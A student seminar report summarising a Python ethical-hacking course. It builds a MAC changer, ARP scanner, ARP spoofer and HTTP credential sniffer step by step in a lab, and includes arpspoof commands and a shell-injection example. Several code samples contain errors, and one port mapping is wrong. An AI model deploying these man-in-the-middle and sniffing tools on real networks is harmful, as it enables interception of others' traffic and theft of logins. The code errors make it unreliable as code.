Concordia Institute of Information System Engineering (CIISE)
Concordia University

INSE 6961 SEMINAR

Report Submission

ETHICAL HACKING USING PYTHON

Submitted to:

Prof. Ayda Basyouni

Submitted by:

Rahul Hulli – 40234542

INDEX

Preface

I have deep-dived into a Udemy course by the name “Learn Python and Ethical Hacking from Scratch” by Zaid Sabih. Zaid Sabih is the CEO of zSecurity[1] and Bug-Bounty[2]. This course explains ethical hacking while deep diving into the anatomy of certain malwares and payloads. The idea is to understand how these tools work, while understanding ethical hacking. The course uses python[3] to write the scripts.

Introduction

"Hacking" is a term used either very cautiously or pretty much as a cool idea by young and old alike. However, understanding hacking and its relevance in a corporate world say, isn't something everyone does. How about understanding this course with a hands-on? Yes, using a hacking tool can be very straightforward, but it would be more beneficial to know how these tools work in the first place.

Motivation of the study

The main motive to pick this course is the fascination to understand the anatomy of malware and how they are built to achieve certain specific tasks. While we do address ethical hacking, this course provided a hands-on experience in understanding the course from an ethical hacker's perspective. The approach is to damage and repair, so the attack is done and mitigated as well.

What is hacking?

Hacking refers to logging or accessing into a system which you should not have access to. As per ethics of the digital world, you should not have access to confidential information and the systems containing such. But this does not guarantee that systems are safe, they are always in a constant attack. An adversary is someone who performs a set of instructions to gain access to confidential systems. Hacking can be divided into three different categories based on the intent of the adversary. The three main types of hackers are:

- **Black-Hat Hackers** – These are adversaries that gain access to confidential systems with an ill intent. It could be for monetary reasons or intentions to spoil reputation of the party or just for fun.
- **White-Hat Hackers** – These are pseudo-adversaries (ideally hired) who act as black-hat hackers to expose vulnerabilities of the endpoint in concern, so that the concerning party can patch the vulnerabilities, hence preventing it from a real-world breach. The intention of the adversary here is moral.
- **Grey-Hat Hackers** – A grey hat hacker is an in-between, an adversary who infiltrates into a confidential digital environment, does illegal tasks or un-authorized tasks, and then informs the concerned party, or can switch between being a good and a bad actor.

What is a computer program?

A computer program is a set of instructions that allows to solve a problem. Let's consider a simple problem of addition. One can hard code a function in a "programming language" to be able to explain to a party with bare minimum knowledge of what needs to be done when it comes to adding two numbers, increment the first number by the second number for example. Here, a "programming language" refers to a language that humans use to express their algorithm to a computer following a syntax. The computer converts this language into its own readable format and understands the tasks it needs to perform. Here, we will use python - it's simple yet very powerful. Here, our only problem would be to hack into a certain system.

What is Ethical Hacking?

When we talk about ethical hacking, we refer directly to white-hat hackers. Any hacking done by the adversary here is purely with moral intent and for the benefit of the concerned party.

Preparing your Environment

We have 2 systems - one hacking machine and one target machine - in a virtualized environment. Kali Linux - The hacking Machine and Windows - The target machine. The steps to prepare your environment are as below:

- Install a virtual machine. We used VirtualBox[4] here.
- Install Kali Linux[5] in VM - This is a Linux distribution based on Debian. This OS when installed, installs are software required for hacking.
- **Enable Virtualization** to be able to run Virtual machines if you are using windows / Linux. On windows -> Task manager -> More details -> Performance => You should see an area on the box where it says Virtualization as enabled / disabled. If its disabled (Works for Windows / Linux) -> Reboot -> Press the key combination to enter bios -> (For HP, it's F9) -> Look for the virtualization option (as VT-x, AMD-V, SVM, Vanderpool) and enable it.

Common Linux commands[6]: I will use some common Linux commands here, which I would not explain, respecting the depth of the actual course. I will use both python 2 and python 3. Note that some subroutines / libraries are exclusive to python 2.

Writing a MAC Address Changer

What is MAC Address and How to Change it

The full form of MAC is Media Access Control. It is a permanent, physical, and unique address assigned by manufacturer to an endpoint device, it could be a computer or a phone or even a corporate telephone. This mac address will be the same to the device even if you unplug the device and plug to another socket or so on. It's used within the network to identify devices and transfer data between devices. Each piece of data that gets transferred between devices contains a **source MAC** and a **destination MAC**. Since MAC address is used to identify devices, changing it would make your anonymous on the network. MAC address is also used by filters to prevent or allow devices to connect to the network and do specific tasks on the network. Your device can impersonate other devices and bypass filters and do the things it's not supposed to do.

Let's try changing the MAC address of a computer, but first, let's understand a basic Linux command:

ifconfig

- This should show all the interfaces (network card) on the current computer. It also provides the information of each of the interfaces, including the mac address.

To change the MAC address, the set of commands would be,

ifconfig <name of the interface to change mac address of> down (disables the interface)

example: *ifconfig eth0 down*

- This will disable the interface to modify the MAC address.

ifconfig <name of the interface to change mac address of> hw ether <new mac address to use>

example: *ifconfig eth0 hw ether 00:11:22:33:44:55*

- This will change the MAC address, but the interface is still disabled. To enable it,

ifconfig <name of the interface to change mac address of> up

example: *ifconfig eth0 up*

- This will enable the interface. If you do *ifconfig* now and check the MAC address, you will see that the new MAC address is now changed.

How do we write this as a program?

Here we need a module in python to execute system commands. The command here would be *subprocess*[7]. The *subprocess* module contains several functions. These functions allow us to execute system commands. Commands depend on the OS which execute the script. The program then would be:

```
Import subprocess
subprocess.call("COMMAND", Shell=True
```

The function call runs the command described by arguments. Wait for command to complete, then return the *returncode* attribute. Hence, our code as of now becomes:

```
#!/usr/bin/env python

Import subprocess
subprocess.call("ifconfig", Shell=True)
```

Once run, this will display all the interfaces the computer has. You would then need to decide the interface you want to change the MAC address to. To make a basic MAC address changer, that does nothing but change the MAC address of course, would be:

```
#!usr/bin/env python

Import subprocess

subprocess.call("ifconfig wlan0 down", shell=True)
subprocess.call("ifconfig wlan0 hw ether 00:11:22:33:44:55", shell=True)
subprocess.call("ifconfig wlan0 up", shell=True)
```

This is considerably basic and would only help us to change the mac address of wlan0 to a specific address. Let's use variables intake network interface and MAC address, this would make the code more clean and useable. Hence, the script would be:

```
#!usr/bin/env python

Import subprocess

interface = "wlan0"
new_mac = "00:11:22:33:44:55"

subprocess.call("ifconfig " + interface + " down", shell=True)
subprocess.call("ifconfig " + interface + " hw ether "+interface, shell=True)
subprocess.call("ifconfig " + interface + " up", shell=True)
```

If we want the user to input the variables that they want into the terminal, we use the function *raw_input()*

```
#!usr/bin/env python

Import subprocess

interface = raw_input("interface > ")
new_mac = raw_input("new mac > ")

subprocess.call("ifconfig " + interface + " down", shell=True)
subprocess.call("ifconfig " + interface + " hw ether "+interface, shell=True)
subprocess.call("ifconfig " + interface + " up", shell=True)
```

Now, user could enter anything here, there is no filter. For example: A user may enter

Interface > wlan;ls;

Here, the user could hijack the code to run his/her own command. We need to handle these inputs; so we need to omit the shell method to take the input. The shell method intakes and accepts any input it is given, but the non-shell method recognizes malicious intent and filters the inputs, the code would then be:

```
#!usr/bin/env python

Import subprocess

interface = raw_input("interface > ")
new_mac = raw_input("new mac > ")

subprocess.call(["ifconfig" , interface, "down"])
subprocess.call(["ifconfig" , interface, "hw", "ether", new_mac])
subprocess.call(["ifconfig" , interface, "up"])
```

You might want to make this program more efficient and pass the inputs as arguments to the code, it ideally is taken in as a good programming practice. This makes executing a program much more efficiently. To execute this, we would need a run-time parsing method under the library "optparse" known as OptionParser().
An example command after using the OptionParser() would be:

python mac_changer.py --interface wlan0 --mac 00:11:22:33:44:55

The code to do this would be as follows:

```
#!usr/bin/env python

import subprocess
import optparse

parser = optparse.OptionParser()

parser.add_option("-i", "--interface", dest="interface", help="interface to change its mac address")
parser.add_option("-m", "--mac", dest="new_mac", help="New Mac Address")

(options, arguments) = parser.parse_args()

interface = options.interface
new_mac = options.new_mac

subprocess.call(["ifconfig" , interface, "down"])
subprocess.call(["ifconfig" , interface, "hw", "ether", new_mac])
subprocess.call(["ifconfig" , interface, "up"]
```

This code looks a little messy, and the code is also not self-explanatory, i.e., it does not have a help option. Let's add a help option in the code for which we would modify this code and include some instructions in a function.

The code then would be:

```
#!usr/bin/env python

import subprocess
import optparse
```

```
def get_arguments():
        parser = optparse.OptionParser()
        parser.add_option("-i", "--interface", dest="interface", help="interface to change its mac address")
        parser.add_option("-m", "--mac", dest="new_mac", help="New Mac Address")
        return parser.parse_args()

def change_mac(interface, new_mac):
        subprocess.call(["ifconfig" , interface, "down"])
        subprocess.call(["ifconfig" , interface, "hw", "ether", new_mac])
        subprocess.call(["ifconfig" , interface, "up"])

(options, arguments) = get_arguments()
change_mac(options.interface, options.new_mac)
```

To check if user has entered the correct information required to execute the code,

```
#!usr/bin/env python

import subprocess
import optparse

def get_arguments():
        parser = optparse.OptionParser()
        parser.add_option("-i", "--interface", dest="interface", help="interface to change its mac address")
        parser.add_option("-m", "--mac", dest="new_mac", help="New Mac Address")
        (options, arguments) = parser.parse_args()
        if not options.interface:
                parser.error("[-] Please specify an interface, use –help for more info")
        elif not options.new_mac()
                parser.error("[-] Please specify a new mac, use –help for more info")
        return options

def change_mac(interface, new_mac):
        subprocess.call(["ifconfig" , interface, "down"])
        subprocess.call(["ifconfig" , interface, "hw", "ether", new_mac])
        subprocess.call(["ifconfig" , interface, "up"])

options = get_arguments()
change_mac(options.interface, options.new_mac)
```

The above is a satisfactory code for a MAC address changer.

Note that by writing the code of the malware, you also understand the anatomy of this malware and what each function does, and that is the motivation here. Let us move on to another problem – Making a Network Scanner.

Making a Network Scanner

Information gathering is a very important step in the process of hacking a system. Without proper information on the target, you can't really gain access to a system. Say for example, let's say you're connected to a network and one of the devices connected to this network is your target. Now, for you to gain access to that target, you need to first gather information on all of the connected ports to this network, get the client MAC address, their IP address, and then from there, try to gather more information or run some attacks in order to gain access to your target. We will understand how this tool works by writing a program on it. By this method, we can understand this concept in a deeper sense of how this works. Understanding an important command first:

netdiscover -r [ip range]/[subnet range] : example – netdiscover -r 10.0.2.1/24

Shows all the IPs of the devices connected to the same network. The first set parts of the IPs are always the same (depends on the subnet range). You can also use this method to discover clients connected to the same Wi-Fi network.

In case you do not have a wireless adapter, you would need a good wireless adapter to work, say if you have a Linux system. This is for a case if you want to attack real world systems. One other thing is, if you use this via a virtual system, disable the NAT network and use only the wireless adapter.

Introduction to ARP

There are numerous ways to discover clients on a network. Let's say we have 4 devices A, B, C, D connected to a Router. If device A wants to communicate with device C, device A needs to know its MAC address, since the communication inside the network is carried out using the MAC address and not the IP address. The device A now uses a protocol called ARP – Address Resolution Protocol[8].

A sends a broadcast message "Who has [a set target IP]?". All the clients on the network receive this message. The target device (concerned with the IP address – say device C) will respond back with its MAC address. This way, device A will have the mac address of device C and now it can communicate with device C. The whole point of it is that we can link IP addresses to MAC addresses.

Coding a Network Scanner

Here we use a python library called scapy[9]. Scapy is a library full of functions which help deal with networks. We use the arping() function from scapy to get mac address.

```
#!/user/bin/env python
Import scapy.all as scapy
def scan(ip):
        scapy.arping(ip)                    #can take multiple ranges
scapy("10.0.0.1")                  #example ip
```

Let us understand how arping() works by writing it manually. The goal is to discover clients on the same network. We can divide this into four steps

1: Create ARP request directed to broadcast MAC asking for IP.
2: Send packet and receive response.
3: Parse the response.
4: Print result.

Create ARP request directed to broadcast MAC asking for IP

We will broadcast on the network asking for which device has a specific IP address. The code would look like this:

```
#!/usr/bin/env python
Import scapy.all as scapy
def scan(ip):
        arp_request = scapy.ARP()
        arp_request.pdst=ip            #Gives a summary on who has the ip (That's passed via "ip")
        print(arp_request.summary())   #Gives a summary of the broadcasted arp request sent
        scapy.ls(scapy.ARP())          #Gives a list of fields that we can use in ARP class and their values as per the
system
```

Alternatively, you could pass the pdst=ip value within the ARP() function itself

```
        arp_request = scapy.ARP(pdst=ip)
```

```
#!/usr/bin/env python
Import scapy.all as scapy
def scan(ip):
        arp_request = scapy.ARP(pdst=ip)
        print(arp_request.summary())
 ("10.0.2.1/24")
```

We will now create an ethernet frame to be sent with the ARP request. We use the function Ether() for this. You could be asking; how do we know what functions to use? To understand this, we print the summary of a traced packet, as above. The code would then be:

```
#!/usr/bin/env python
Import scapy.all as scapy
def scan(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether()              #The instance of Ether is stored in variable "broadcast"
        scapy.ls(scapy.Ether())                #We do not initially know the parameters to insert (The mac address in
                                               function Ether()), hence scapy.ls will provide the required information.

scan("10.0.2.1/24")
```

```
#!/usr/bin/env python
Import scapy.all as scapy
def scan(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request      #We create a new variable which will contain the
                                                           broadcast information and arp_request information
                                                           appended to it
        print(arp_request_broadcast.summary())
        arp_request_broadcast.show()                       #Shows more details of the contents of this packet

scan("10.0.2.1/24")
```

The rest of the three steps

The function to send a packet is srp(). (Send-Receive with custom Ether part). This returns a couple of two lists. The first element is a list of couples (packet sent, answer) and the second element is the list of unanswered packets.

```
#!/usr/bin/env python
Import scapy.all as scapy
def scan(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered, unanswered = scapy.srp(arp_request_broadcast, timeout=1)  #the value of srp() function are two lists,
                                                                            will be stored in the two variables
                                                                            stated. Timeout will wait for a response
                                                                            from a device for one second
        print(answered.summary())
```

```
scan("10.0.2.1/24")
```

Let's print all the answered elements with their information. Additionally, note that we are more interested in the response which contains the source IP of the requesting system (psrc). The corresponding hardware source (hwsrc) is what we need. So, we will print just psrc and hwsrc:

```
#!/usr/bin/env python
Import scapy.all as scapy
def scan(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1)[0]

        for element in answered_list:
                print(element[1].psrc)
                print(element[1].hwsrc)
```

To display this in a more readable and informative manner, we set the verbose value to false, which omits the already set program to remove verbose data. We would also include a custom header which contains a summary. We also use dictionary instead of lists.

```
#!/usr/bin/env python
Import scapy.all as scapy
def scan(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

        clients_list = []
        for element in answered_list:
                client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc}
                clients_list.append(client_dict)
        return clients_list

scan("10.0.2.1/24")
```

The above is a satisfactory code for a Network Scanner.

Making an ARP Spoofer

ARP spoofing programs allow us to redirect network packets, it would flow through the adversary's system. We could then get user information, such as usernames, passwords, so on. The hacker can read the information, modify it, or just drop it. This is possible since ARP is not a very secure service. Say during the ARP send receive scenario, we can send two responses after interjection – one ARP to the requester and one to the victim. To the victim, the hacker system can

replicate the requester, and to the requester, the hacker can pretend to be the victim. Let us write a program to understand this.

Intercepting data in network using arpspoof

Kali Linux comes with a number of tools that allows to run ARP Spoofing attacks. One such command would be "arpspoof[10]". While using it, specify the interface "-i", the target "-t" and the gateway, example as below.

arpspoof -i eth0 -t 10.0.2.7 10.0.2.1

Here, interface is eth0, target is 10.0.2.7, interface is 10.0.2.1
Remember that this is one part of the communication – say the hacker communicating to the victim as a legitimate requester. Obviously, the hacker will communicate to the requester as well, playing the victim.

arpspoof -i eth0 -t 10.0.2.1 10.0.2.7

Do note one thing that the hacker computer is not a router, so any information that flows in just gets halted at the hacker system. So, we need to device a mechanism to have it flow across the system. What helps here? "Port Forwarding." How do we use this / enable this service?

echo 1 > /proc/sys/net/ipv4/ip_forward

So now, the victim computer can access the network, browse data. But the packets now flow through the hacker's system.

ARPSpoof is a prebuilt service that comes with kali, but to understand how it works, we will write a program that does this task.

Creating an ARP Response

Now here, we will learn how to create an ARP response using a python program and send it to the target computer and poison their ARP table, which will make us the Man in the Middle.

```
#!/usr/bin/env python

import scapy.all as scapy

packet = scapy.ARP(op = 2, pdst="10.0.2.7", hwdst="08:00:27:08:af:07", psrc="10.0.2.
```

Note that "*pdst"* and "*hwdst"* are ip and mac addresses of the target system, respectively. How do we get these values? By the network scanner we made in the last unit ofcourse! "*op"* here denotes the fact that whenever you create an ARP packet, will it be a request or anything else? By default, this is set to 1, which means this packet is a request. If its set to 2, it means this is now a response packet. "*psrc*" here is set to the router IP address. Now, whenever the response is sent from the victim system, it sends it to the mac address of the kali machine but will think that its sending the response to the router – because of the ip address, as in, whenever the victim system sends a response, it sends it referencing to the mac address via the ip that it receives from the attacker, thinking it is a legitimate router in communication.

Sending an ARP Response

Here we will understand how to send ARP responses over to the target system. To understand or gather the information we need, let's check what information we can utilize from the packet we created.

print(packet.show())
print(packet.summary())

The show() function should hand us with the list of information the packet carries. Observe that when you execute this, op will be set to "is-at," and that's what "2" directly denotes here – A certain device is-at a certain location. The mac address here is the mac address of eth0, but the source ip is the ip address of the router, exactly as required.
All of this seems alright, so we know we are good to go sending this packet over. How do we do that?

scapy.send(packet)

When we run this script, we get a result that the script was successful in sending one packet (provided there are no obvious programming errors).Now when you go to your victim system and run:

arp -a

You will notice that the mac address of the router has changed to the ip address of the kali machine, which means we were successfully able to poison the ARP table.

Extracting MAC Address from Responses

The program we wrote by far can be used to fool one of the targets, we also need to fool the router. The idea is exactly the same as the one for the target system, so here, we would need to declare the re-used code as a function, something like below. (target_ip is the victim's ip, spoof_ip is the ip that we are pretending to be, the mac address? We will get it through a modified version of the network scanner program we wrote earlier)

```
#!/usr/bin/env python
import scapy.all as scapy
def get_mac(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

        return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip)
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc="spoof_ip")
        scapy.send(packet)


spoof("10.0.2.7", "10.0.2.1")   #Telling the target that I am the router
spoof("10.0.2.1", "10.0.2.7")   #Telling the router that I am the target
```

Do you realize that there is an issue here? Yes, there is! When you check the output (as we did so earlier), it says "sent 1 packet". This means that later on, the target system will revert back to the original connection. We need to hence spoof the router and the victim continuously; we hence use a loop.

```
#!/usr/bin/env python
import scapy.all as scapy
import time
def get_mac(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
```

```
        answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

        return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip)
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc="spoof_ip")
        scapy.send(packet)


while True:
        spoof("10.0.2.7", "10.0.2.1")   #Telling the target that I am the router
        spoof("10.0.2.1", "10.0.2.7")   #Telling the router that I am the target
        time.sleep(2)                   #Making sure that we do not send too many packets to the systems
```

We have now successfully made sure that the two systems communicate through the hacker system, but if you notice now, the victim will not be able to connect to the internet, since all the packets are being dropped. Hence, we need to enable port forwarding on the hacker system. This has nothing to do with the script, this has to be done manually. Our command for this will be:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

This will fix the issue.

Fixing the output and making it more informative

If you notice the output, it will be a series of lines which just says "Sent 1 packet" two times every two seconds. This is rather annoying over informative. Let's fix that.

```
#!/usr/bin/env python
import scapy.all as scapy
import time

def get_mac(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

        return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip)
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc="spoof_ip")
        scapy.send(packet, verbose=False)       #This prevents the custom output

target_ip = 10.0.2.7
gateway_ip = 10.0.2.1
sent_packets_count = 0          #Counter for number of packets sent
try:                            #Exception handling to handle keyboard interrupt
while True:
```

```
        spoof(target_ip, gateway_ip)    #Telling the target that I am the router
        spoof(gateway_ip, target_ip)    #Telling the router that I am the target
        sent_packets_count = sent_packets_count + 2          #Increment count to two (number of packets sent)
        print("\r[+] Packets sent : " + str(sent_packets_count), end="")#Mentions that number of packets sent, helps
                                                                        in dynamic printing of output
        time.sleep(2)                   #Making sure that we do not send too many packets to the systems

except: KeyboardInterrupt               #If this error happens, do the following
print("[+] Detected CTRL + C . . . . Quitting.")
```

The above is a satisfactory code for an ARP Spoofer, but we will also write a restore function.

Implementing a Restore Function

Once we are done with the MITM[11] attack and decide to quit, its not like the victim system will revert its routing table back to its original sense, it will still contain the attacker's mac address. We would need to restore that. The function would be as follows:

```
def restore(destination_ip, source_ip):
        destination_mac = get_mac(destination_ip)
        source_mac = get_mac(source_ip)
        packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
        scapy.send(packet, count=4, verbose=False)      #The packet will be sent 4 times to make sure the target
                                                        receives it and corrects  the ARP table.
```

Do note that, the one difference this code has is that we also set the source mac address. If we do not set that, the program will set my mac address – hence spoofing the victim anyways.
The call functions (in the exception code) will look like below:

```
restore(target_ip, gateway_ip)          #Restoring ARP tables of target system
restore(gateway_ip, target_ip)          #Restoring ARP tables of gateway system
```

Writing a Packet Sniffer

We have created an ARP Spoofer and successfully established ourselves as MITM! But what's the point if we cannot read it? We need a packet sniffer for this. A packet sniffer is a tool that captures the data flowing through an interface, filters this data and displays valuable information such as usernames, passwords, so on.

Sniffing Packets using Scapy

Scapy has a sniffer function that does this task. It captures the data sent to or from its interface and can call a function specified in prn (callback function) on each packet. A callback function is a function called every time this function captures a packet. (store = False ; means do not store any data in memory)

```
#!/usr/bin/env python
Import scapy.all as scapy

def sniff(interface):
        scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def process_sniffed_packet(packet):
        print(packet)
```

```
sniff("eth0")
```

Note that when you observe these packets, they are in a non-readable format, which makes it useless. We need it in a readable format. The easiest way to filter the packets, is to use a filter packet after the sniff function. (Note that this means, the function will also contain an extra argument which contains "filter", this will filter tcp/udp/arp packets, in our case – udp, or even filter based on ports – example port 21 (ftp), or port 80 (web servers), port 443 (ssh), etc)

```
#!/usr/bin/env python
Import scapy.all as scapy
From scapy.layers import http

def sniff(interface):
        scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def process_sniffed_packet(packet):
        if packet.haslayer(http.HTTPRequest):
                print(packet)

sniff("eth0")
```

If this gives an error stating "http is unrecognized", you need to install the scapy https third party module manually.

pip install scapy_http

If you observe this time, even if there is a lot of data, some of it looks readable. We still need to extract only the useful parts that we want.

Let's try to filter login information. This will be under – Raw layer. (You can find out via packet.show())

```
#!/usr/bin/env python
Import scapy.all as scapy
From scapy.layers import http

def sniff(interface):
        scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def process_sniffed_packet(packet):
        if packet.haslayer(http.HTTPRequest):
                if packet.haslayer(scapy.Raw):
                        print(packet[scapy.Raw].load)          #Load is just a field here

sniff("eth0")
```

Note that, the load part is something any website can choose to contain any kind of data, not just username and password, so if you monitor this alone, you could end up with a page full of jargon anyways. We need to refine this in a much better manner. We will filter the load specifically here on.

```
#!/usr/bin/env python
Import scapy.all as scapy
From scapy.layers import http

def sniff(interface):
        scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def process_sniffed_packet(packet):
        if packet.haslayer(http.HTTPRequest):
                if packet.haslayer(scapy.Raw):
                        load = packet[scapy.Raw].load
                        keywords = ["username", "user", "login", "password", "pass"]
                        for keyword in keywords:
                                if keywords in load:
                                        print(load)
                                        break

sniff("eth0")
```

The above is a satisfactory code for a Packet Sniffer.

Conclusion:

In conclusion, what I learnt from this course is the basic concept of ethical hacking and understanding how certain malware and payloads work by writing a code on them. The study was successful, and all the codes were tested to work correctly. There will be a bibliography provided, but this would address more on the terminologies which were not addressed during the report, as these did not fit the scope of study, or the report would address an unnecessary depth to the concept, these are merely to read, and have not been directly used in the report.

Disclaimer

All the contents of this report were written after understanding the course or during the traversal of the course videos. I understand that if I am proved to have directly copied the contents of the course as it is, this would be subject to a strict action. That being said, I state that the material written here are purely based on my understanding while traversing the courses. The codes and scripts however are from the course, which have no other way of representation in the stated programming language.

Bibliography

* The reason for the bibliography is stated in the conclusion part of this report.

[1] zSecurity: https://zsecurity.org/
[2] Bug-bounty: https://www.bugcrowd.com/
[3] Python Programming Language: https://www.python.org/
[4] VirtualBox: https://www.virtualbox.org/
[5] Kali Linux: https://www.kali.org/
[6] Common Linux Commands: https://www.hostinger.com/tutorials/linux-commands
[7] Subprocess in Python: https://docs.python.org/3/library/subprocess.html
[8] ARP – Address Resolution Protocol: https://study-ccna.com/arp/
[9] Scapy library in Python: https://scapy.net/
[10] ArpSpoof in Python: https://pypi.org/project/ArpSpoof/
[11] MITM Attack: https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/